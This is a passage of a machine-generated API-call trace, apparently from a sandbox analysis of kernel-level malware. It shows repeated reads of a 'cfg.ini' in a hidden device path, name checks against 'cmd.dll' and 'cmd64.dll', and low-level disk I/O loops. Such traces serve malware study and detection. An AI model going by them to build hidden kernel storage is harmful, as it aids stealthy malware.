FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.504] KeLeaveCriticalRegion () [0126.504] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.504] ReleaseMutex (hMutex=0xf0) returned 1 [0126.504] Sleep (dwMilliseconds=0x124f80) [0126.515] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.519] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.519] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.519] KeEnterCriticalRegion () [0126.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.519] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.519] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.519] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.519] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.519] IdePortDispatch () returned 0x103 [0126.519] KeWaitForMutexObject () returned 0x0 [0126.519] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.519] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.519] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.519] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.519] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.519] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037edfb0 [0126.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.519] KeLeaveCriticalRegion () [0126.519] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.519] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.519] KeEnterCriticalRegion () [0126.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.520] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.520] KeLeaveCriticalRegion () [0126.520] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.520] KeEnterCriticalRegion () [0126.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.520] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.520] IdePortDispatch () returned 0x103 [0126.520] KeWaitForMutexObject () returned 0x0 [0126.520] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.520] KeLeaveCriticalRegion () [0126.520] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.520] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.520] KeEnterCriticalRegion () [0126.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.520] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e0000 [0126.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.520] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.520] IdePortDispatch () returned 0x103 [0126.520] KeWaitForMutexObject () returned 0x0 [0126.520] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.521] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.521] IdePortDispatch () returned 0x103 [0126.521] KeWaitForMutexObject () returned 0x0 [0126.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.521] KeLeaveCriticalRegion () [0126.521] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.521] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.521] KeEnterCriticalRegion () [0126.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.521] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.521] KeLeaveCriticalRegion () [0126.521] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.521] KeEnterCriticalRegion () [0126.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.521] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.521] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac6420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.521] KeLeaveCriticalRegion () [0126.521] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.522] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.522] KeEnterCriticalRegion () [0126.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.522] ExFreePoolWithTag (P=0xfffffa80037edfb0, Tag=0x0) [0126.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.522] KeLeaveCriticalRegion () [0126.522] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.522] ReleaseMutex (hMutex=0xf0) returned 1 [0126.522] Sleep (dwMilliseconds=0x124f80) [0126.537] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.537] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.537] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.537] KeEnterCriticalRegion () [0126.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.537] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.537] IdePortDispatch () returned 0x103 [0126.537] KeWaitForMutexObject () returned 0x0 [0126.537] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.537] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.537] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.537] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.537] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.537] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037eeb30 [0126.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.537] KeLeaveCriticalRegion () [0126.537] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.537] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.537] KeEnterCriticalRegion () [0126.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.537] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.537] KeLeaveCriticalRegion () [0126.537] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.537] KeEnterCriticalRegion () [0126.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.537] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.537] IdePortDispatch () returned 0x103 [0126.538] KeWaitForMutexObject () returned 0x0 [0126.538] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.538] KeLeaveCriticalRegion () [0126.538] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.538] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.538] KeEnterCriticalRegion () [0126.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.538] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e9000 [0126.538] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.538] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.538] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.538] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.538] IdePortDispatch () returned 0x103 [0126.538] KeWaitForMutexObject () returned 0x0 [0126.538] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.538] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.538] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.538] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.538] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.538] IdePortDispatch () returned 0x103 [0126.538] KeWaitForMutexObject () returned 0x0 [0126.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.539] KeLeaveCriticalRegion () [0126.539] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.539] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.539] KeEnterCriticalRegion () [0126.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.539] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.539] KeLeaveCriticalRegion () [0126.539] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.539] KeEnterCriticalRegion () [0126.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.539] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.539] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adc3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.539] KeLeaveCriticalRegion () [0126.539] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.539] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.539] KeEnterCriticalRegion () [0126.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.539] ExFreePoolWithTag (P=0xfffffa80037eeb30, Tag=0x0) [0126.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.540] KeLeaveCriticalRegion () [0126.540] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.540] ReleaseMutex (hMutex=0xf0) returned 1 [0126.540] Sleep (dwMilliseconds=0x124f80) [0126.551] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.561] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.561] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.561] KeEnterCriticalRegion () [0126.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.561] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.561] IdePortDispatch () returned 0x103 [0126.562] KeWaitForMutexObject () returned 0x0 [0126.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.562] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.562] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.562] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.562] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.562] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8150 [0126.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.562] KeLeaveCriticalRegion () [0126.562] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.562] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.562] KeEnterCriticalRegion () [0126.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.562] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.562] KeLeaveCriticalRegion () [0126.562] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.562] KeEnterCriticalRegion () [0126.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.562] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.562] IdePortDispatch () returned 0x103 [0126.562] KeWaitForMutexObject () returned 0x0 [0126.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.562] KeLeaveCriticalRegion () [0126.562] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.563] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.563] KeEnterCriticalRegion () [0126.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.563] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f0000 [0126.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.563] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.563] IdePortDispatch () returned 0x103 [0126.563] KeWaitForMutexObject () returned 0x0 [0126.563] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.563] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.563] IdePortDispatch () returned 0x103 [0126.563] KeWaitForMutexObject () returned 0x0 [0126.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.563] KeLeaveCriticalRegion () [0126.563] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.564] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.564] KeEnterCriticalRegion () [0126.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.564] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.564] KeLeaveCriticalRegion () [0126.564] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.564] KeEnterCriticalRegion () [0126.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.564] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.564] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac62d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.564] KeLeaveCriticalRegion () [0126.564] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.564] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.564] KeEnterCriticalRegion () [0126.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.564] ExFreePoolWithTag (P=0xfffffa8003bf8150, Tag=0x0) [0126.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.564] KeLeaveCriticalRegion () [0126.564] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.564] ReleaseMutex (hMutex=0xf0) returned 1 [0126.564] Sleep (dwMilliseconds=0x124f80) [0126.598] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.598] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.598] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.598] KeEnterCriticalRegion () [0126.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.598] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.598] IdePortDispatch () returned 0x103 [0126.598] KeWaitForMutexObject () returned 0x0 [0126.598] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.598] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.598] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.598] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.598] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.598] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc210 [0126.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.598] KeLeaveCriticalRegion () [0126.599] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.599] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.599] KeEnterCriticalRegion () [0126.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.599] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.599] 